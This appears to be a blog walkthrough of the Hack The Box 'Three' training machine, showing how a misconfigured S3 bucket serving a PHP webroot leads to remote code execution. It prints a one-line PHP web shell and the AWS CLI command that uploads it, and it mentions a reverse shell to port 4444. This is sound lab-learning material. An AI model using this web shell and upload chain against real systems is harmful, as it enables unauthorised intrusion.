HTB — Three
A misconfigured S3 bucket
What I learned from the HTB Toppers machine
- Web & VHost enumeration
/etc/hostshostname mapping- S3-compatible storage enumeration
- AWS CLI for S3 interaction
- S3 bucket file upload/download
- PHP command execution / RCE concepts
- HTTP file transfer with Python &
curl - Understanding the complete attack chain
Key takeaway: A misconfigured S3 bucket combined with a web-accessible uploaded PHP file can lead to remote command execution.
What is an S3 bucket?
A quick Google search containing the keywords “s3 subdomain status running” returns this result stating that S3 is a cloud-based object storage service. It allows us to store things in containers called buckets. AWS S3 buckets have various use-cases including Backup and Storage, Media Hosting, Software Delivery, Static Website etc. The files stored in the Amazon S3 bucket are called S3 objects.
1.
2.
3.
4.
5.
6.
7.
aws configure to get it set up. You can enter whatever you want for the options it asks you for (I entered “lol”):
8.
Get CYBER_delta’s stories in your inbox
Join Medium for free to get updates from this writer.
Here I am stuck but I see it wants me to find out how to list all s3 buckets, so more reconnaissance. A looking deeper into the documentation I find the commands needed
Your machine
│
│ S3 API request
▼
s3.thetoppers.htb
│
▼
S3-compatible service
9.
thetoppers.htb
│
▼
s3.thetoppers.htb
│
▼
S3-compatible service
│
▼
bucket: thetoppers.htb
│
├── images/
├── .htaccess
└── index.php
………………………..
awscli has got another feature that allows us to copy files to a remote bucket. We already know that the website is using PHP. Thus, we can try uploading a PHP shell file to the S3 bucket and since it’s uploaded to the webroot directory we can visit this webpage in the browser, which will,in turn, execute this file and we will achieve remote code execution.
cp means “copy,” and it can be used for both “upload” and download with AWS S3.
Example:
{ . } For Download
aws s3 cp s3://thetoppers.htb/file.txt . — endpoint-url=http://s3.thetoppers.htb
Upload
aws s3 cp file.txt s3://thetoppers.htb/ — endpoint-url=http://s3.thetoppers.htb
.Let’s create a PHP file to upload.
echo ‘<?php system($_GET[“cmd”]); ?>’ > shell.php
Then, we can upload this PHP shell to the thetoppers.htb S3 bucket using the following command.
aws — endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
Browser
│
▼
/shell.php?cmd=id
│
▼
PHP reads $_GET[“cmd”]
│
▼
executes “id” ← if the script is designed to do so
│
▼
returns command output
?cmd=id does not automatically execute a command on every PHP website. It only works if shell.php contains code that takes the cmd parameter and passes it to a command-execution function.
Let’s get a reverse shell by creating a new file shell.sh containing the following bash reverse shell payload
which will connect back to our local machine on port 4444 .
you can read it with cat /var/www/flag.txt.
